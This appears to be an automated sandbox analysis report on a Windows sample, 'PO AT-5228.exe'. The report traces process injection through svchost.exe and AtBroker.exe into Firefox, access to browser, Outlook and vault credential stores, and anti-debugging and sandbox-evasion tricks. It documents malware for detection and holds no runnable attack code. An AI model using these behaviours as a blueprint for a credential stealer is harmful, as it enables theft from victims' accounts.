Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B9B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00B9B134

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BAE1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00BAE1FD

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA6532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_00BA6532

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BBC18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_00BBC18C

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B6406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00B6406B

Source: C:\Users\user\Desktop\PO AT-5228.exe

File created: C:\Users\user\AppData\Local\Temp\autC0A9.tmp

Jump to behavior

Source: PO AT-5228.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO AT-5228.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000891000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.2010047529.00000000008B3000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3524603774.00000000008B3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO AT-5228.exe	ReversingLabs: Detection: 34%
Source: PO AT-5228.exe	Virustotal: Detection: 27%

Source: unknown	Process created: C:\Users\user\Desktop\PO AT-5228.exe "C:\Users\user\Desktop\PO AT-5228.exe"
Source: C:\Users\user\Desktop\PO AT-5228.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO AT-5228.exe"
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO AT-5228.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO AT-5228.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO AT-5228.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PO AT-5228.exe

Static file information: File size 1175040 > 1048576

Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PO AT-5228.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PO AT-5228.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: BLUymyzgBTyhbo.exe, 00000002.00000002.3524476416.0000000000A8E000.00000002.00000001.01000000.00000004.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3524287384.0000000000A8E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ATBroker.pdb source: svchost.exe, 00000001.00000003.1750282155.000000000282B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1750196591.000000000281B000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3524911092.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO AT-5228.exe, 00000000.00000003.1685890641.0000000004370000.00000004.00001000.00020000.00000000.sdmp, PO AT-5228.exe, 00000000.00000003.1686242447.00000000041D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1689123695.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692725433.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1789035280.00000000043D5000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.000000000471E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.0000000004580000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1787592715.0000000004216000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO AT-5228.exe, 00000000.00000003.1685890641.0000000004370000.00000004.00001000.00020000.00000000.sdmp, PO AT-5228.exe, 00000000.00000003.1686242447.00000000041D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1689123695.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692725433.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1781318189.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, AtBroker.exe, 00000003.00000003.1789035280.00000000043D5000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.000000000471E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3525876435.0000000004580000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000003.1787592715.0000000004216000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: AtBroker.exe, 00000003.00000002.3526286582.0000000004BAC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3524603774.000000000083A000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000000.1850115627.00000000032DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2119258740.000000000D29C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: ATBroker.pdbGCTL source: svchost.exe, 00000001.00000003.1750282155.000000000282B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1750196591.000000000281B000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000002.00000002.3524911092.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: AtBroker.exe, 00000003.00000002.3526286582.0000000004BAC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3524603774.000000000083A000.00000004.00000020.00020000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000000.1850115627.00000000032DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2119258740.000000000D29C000.00000004.80000000.00040000.00000000.sdmp

Source: PO AT-5228.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PO AT-5228.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PO AT-5228.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PO AT-5228.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PO AT-5228.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B7E01E LoadLibraryA,GetProcAddress,

0_2_00B7E01E

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8C09E push esi; ret	0_2_00B8C0A0
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8C187 push edi; ret	0_2_00B8C189
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BCC8BC push esi; ret	0_2_00BCC8BE
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B86B05 push ecx; ret	0_2_00B86B18
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BCED2A push ss; retn 0000h	0_2_00BCED2B
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAB2B1 push FFFFFF8Bh; iretd	0_2_00BAB2B3
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8BDAA push edi; ret	0_2_00B8BDAC
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8BEC3 push esi; ret	0_2_00B8BEC5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00441AAD push 5BDF9A96h; iretd	1_2_00441ACA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00442099 push esp; ret	1_2_0044209A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00443390 push eax; ret	1_2_00443392
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00444C75 push cs; iretd	1_2_00444C8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0044847B push cs; retf	1_2_0044847E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00444D15 pushad ; ret	1_2_00444D16
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0046D533 pushfd ; retf	1_2_0046D552
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00444DBA push 6B6FB766h; ret	1_2_00444DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0045277B push edi; iretd	1_2_0045278D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E0225F pushad ; ret	1_2_02E027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E027FA pushad ; ret	1_2_02E027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E0283D push eax; iretd	1_2_02E02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD push ecx; mov dword ptr [esp], ecx	1_2_02E309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E01368 push eax; iretd	1_2_02E01369
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052B3DD0 push edi; iretd	2_2_052B3DE2
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052A640F push 6B6FB766h; ret	2_2_052A6414
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052C01F6 push ebx; ret	2_2_052C01FC
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052A636A pushad ; ret	2_2_052A636B
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052BAB64 push eax; retf	2_2_052BABDA
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052A62CA push cs; iretd	2_2_052A62E0
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe	Code function: 2_2_052A9AD0 push cs; retf	2_2_052A9AD3
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045827FA pushad ; ret	3_2_045827F9
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_0458225F pushad ; ret	3_2_045827F9

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BC8111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00BC8111
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B7EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00B7EB42

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B8123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B8123A

Source: C:\Users\user\Desktop\PO AT-5228.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PO AT-5228.exe	API/Special instruction interceptor: Address: 19608C4
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02E7096E rdtsc

1_2_02E7096E

Source: C:\Users\user\Desktop\PO AT-5228.exe

Evaded block: after key decision

graph_0-94478

Source: C:\Users\user\Desktop\PO AT-5228.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-96237

Source: C:\Users\user\Desktop\PO AT-5228.exe	API coverage: 4.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\AtBroker.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7424	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7424	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe TID: 7564	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe TID: 7564	Thread sleep time: -43500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00BA6CA9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_00BA60DD
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BA63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_00BA63F9
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BAEB60
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00BAF5FA
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BAF56F FindFirstFileW,FindClose,	0_2_00BAF56F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BB1B2F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00BB1C8A
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00BB1F94
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_004FC830 FindFirstFileW,FindNextFileW,FindClose,	3_2_004FC830

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B7DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B7DDC0

Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3525186169.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: firefox.exe, 00000008.00000002.2120522294.0000021D4D29C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: AtBroker.exe, 00000003.00000002.3524603774.000000000083A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PO AT-5228.exe	API call chain: ExitProcess graph end node			graph_0-94765
Source: C:\Users\user\Desktop\PO AT-5228.exe	API call chain: ExitProcess graph end node			graph_0-93644

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02E7096E rdtsc

1_2_02E7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00457B23 LdrLoadDll,

1_2_00457B23

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BB6AAF BlockInput,

0_2_00BB6AAF

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B63D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B63D19

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B93920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_00B93920

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B7E01E LoadLibraryA,GetProcAddress,

0_2_00B7E01E

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_0195F530 mov eax, dword ptr fs:[00000030h]	0_2_0195F530
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_01960B90 mov eax, dword ptr fs:[00000030h]	0_2_01960B90
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_01960B30 mov eax, dword ptr fs:[00000030h]	0_2_01960B30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
